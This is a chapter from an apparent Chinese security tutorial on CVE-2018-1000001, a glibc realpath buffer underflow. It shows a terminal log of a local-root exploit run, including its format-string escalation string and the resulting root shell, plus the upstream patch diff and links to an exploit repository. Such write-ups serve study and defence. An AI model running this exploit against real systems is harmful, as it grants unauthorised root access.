# 7.1.5 [CVE–2018-1000001] glibc Buffer Underflow - [漏洞描述](#漏洞描述) - [漏洞复现](#漏洞复现) - [漏洞分析](#漏洞分析) - [参考资料](#参考资料) [下载文件](../src/exploit/7.1.5_glibc_2018–1000001) ## 漏洞描述 ## 漏洞复现 | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构:64 位 | | 调试器 | gdb-peda| 版本号:7.11.1 | | 漏洞软件 | glibc | 版本号:2.23-0ubuntu9 | ``` $ gcc -g exp.c $ id uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ ls -l a.out -rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out $ ./a.out ./a.out: setting up environment ... Detected OS version: "16.04.3 LTS (Xenial Xerus)" ./a.out: using umount at "/bin/umount". No pid supplied via command line, trying to create a namespace CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection. Namespaced filesystem created with pid 7429 Attempting to gain root, try 1 of 10 ... Starting subprocess Stack content received, calculating next phase Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158 Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20 Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s Executable now root-owned Cleanup completed, re-invoking binary /proc/self/exe: invoked as SUID, invoking shell ... # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu) # ls -l a.out -rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out ``` ## 漏洞分析 #### 补丁 ```diff $ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | cat commit 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 Author: Dmitry V. Levin Date: Sun Jan 7 02:03:41 2018 +0000 linux: make getcwd(3) fail if it cannot obtain an absolute path [BZ #22679] Currently getcwd(3) can succeed without returning an absolute path because the underlying getcwd syscall, starting with linux commit v2.6.36-rc1~96^2~2, may succeed without returning an absolute path. This is a conformance issue because "The getcwd() function shall place an absolute pathname of the current working directory in the array pointed to by buf, and return buf". This is also a security issue because a non-absolute path returned by getcwd(3) causes a buffer underflow in realpath(3). Fix this by checking the path returned by getcwd syscall and falling back to generic_getcwd if the path is not absolute, effectively making getcwd(3) fail with ENOENT. The error code is chosen for consistency with the case when the current directory is unlinked. [BZ #22679] CVE-2018-1000001 * sysdeps/unix/sysv/linux/getcwd.c (__getcwd): Fall back to generic_getcwd if the path returned by getcwd syscall is not absolute. * io/tst-getcwd-abspath.c: New test. * io/Makefile (tests): Add tst-getcwd-abspath. diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c index f545106289..866b9d26d5 100644 --- a/sysdeps/unix/sysv/linux/getcwd.c +++ b/sysdeps/unix/sysv/linux/getcwd.c @@ -76,7 +76,7 @@ __getcwd (char *buf, size_t size) int retval; retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size); - if (retval >= 0) + if (retval > 0 && path[0] == '/') { #ifndef NO_ALLOCATION if (buf == NULL && size == 0) @@ -92,10 +92,10 @@ __getcwd (char *buf, size_t size) return buf; } - /* The system call cannot handle paths longer than a page. - Neither can the magic symlink in /proc/self. Just use the + /* The system call either cannot handle paths longer than a page + or can succeed without returning an absolute path. Just use the generic implementation right away. */ - if (errno == ENAMETOOLONG) + if (retval >= 0 || errno == ENAMETOOLONG) { #ifndef NO_ALLOCATION if (buf == NULL && size == 0) ``` ## 参考资料 - [LibcRealpathBufferUnderflow](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/) - https://github.com/5H311-1NJ3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001